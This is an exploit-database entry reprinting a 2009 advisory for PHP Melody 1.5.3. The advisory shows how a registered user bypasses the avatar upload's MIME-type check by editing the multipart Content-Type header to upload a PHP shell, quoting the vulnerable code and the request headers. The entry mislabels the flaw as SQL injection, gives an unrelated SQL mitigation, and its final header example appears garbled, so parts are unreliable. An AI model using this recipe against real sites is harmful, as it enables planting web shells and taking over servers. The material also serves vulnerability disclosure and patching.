PHP Melody 1.5.3 remote injection upload file

vendor:

PHP Melody

by:

Chip D3 Bi0s

7,5

CVSS

HIGH

SQL injection

CWE

Product Name: PHP Melody

Affected Version From: 1.5.2

Affected Version To: 1.5.3

Patch Exists: Unknown

Related CWE: N/A

CPE: a:phpsugar:php_melody

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

Unknown

PHP Melody 1.5.3 remote injection upload file

According to the code it does is see if the http, it is 'image/jpeg';'image/gif';'image/png'; If not upload. You must first register then you can upload a file with a malicious code.

Mitigation:

Ensure that all user-supplied input is validated and filtered before being used in any SQL query.

Source

Exploit-DB raw data:

---------------------------------------------------
PHP Melody 1.5.3 remote injection upload file
---------------------------------------------------
 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Group         :  LatinHackTeam
 [+] Vulnerability :  SQL injection
 ###################################################

---------info Cms----------------
name     : PHP Melody version 1.5.2
email    : support@phpsugar.com
dowloand : http://www.phpsugar.com
web      : http://www.phpsugar.com
price    : $39 USD
---------------------------------


File: Upload_avatar.php

37. if(preg_match("/.jpg/i", "$filein"))
38.   {
39.       $format = 'image/jpeg';
40.   }
41.   if (preg_match("/.gif/i", "$filein"))
42.   {
43.       $format = 'image/gif';
44.   }
45.   if(preg_match("/.png/i", "$filein"))
46.   {
47.       $format = 'image/png';
48.   }
49.	  switch($format)
50.       {
51.           case 'image/jpeg':
52.           $image = imagecreatefromjpeg($filein);
53.           break;
54.           case 'image/gif';
55.           $image = imagecreatefromgif($filein);
56.           break;
57.           case 'image/png':
58.           $image = imagecreatefrompng($filein);
59.           break;
60.       }
------------
136.  $url = $_FILES['imagefile']['name'];   // Set $url To Equal The Filename For Later Use 
137.  if ($_FILES['imagefile']['type'] == "image/png" || $_FILES['imagefile']['type'] == "image/gif" || $_FILES['imagefile']['type'] == "image/jpg" || $_FILES['imagefile']['type'] == "image/jpeg" || $_FILES['imagefile']['type'] == "image/pjpeg") { 
138.    $file_ext = strrchr($_FILES['imagefile']['name'], '.');   // Get The File Extention In The Format Of , For Instance, .jpg, .gif or .php 

--------------------------------	
explanation:
	
according to the code it does is see if the http, it is
'image/jpeg';'image/gif';'image/png';	
If not upload

how to exploit:
you must first register
then upload the avatar you ever so upload_avatar.php
there will have to change the header


header with a proper imagen.gif looks like

-----------------------------191691572411478\r\n
Content-Disposition: form-data; name="imagefile"; filename="imagen.gif"\r\n
Content-Type: image/gif\r\n\r\n

the header when you upload a shell.php looks like

-----------------------------191691572411478\r\n
Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n
Content-Type: application/octet-stream\r\n\r\n

	
then just change it and let q and so can upload *. php

-----------------------------191691572411478\r\n
Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n
Content-Type: application/octet-stream\r\n\r\n



Special greetings to my brother d4ng3r  ;) 
+++++++++++++++++++++++++++++++++
[!] Produced in South America
---------------------------------

# milw0rm.com [2009-07-23]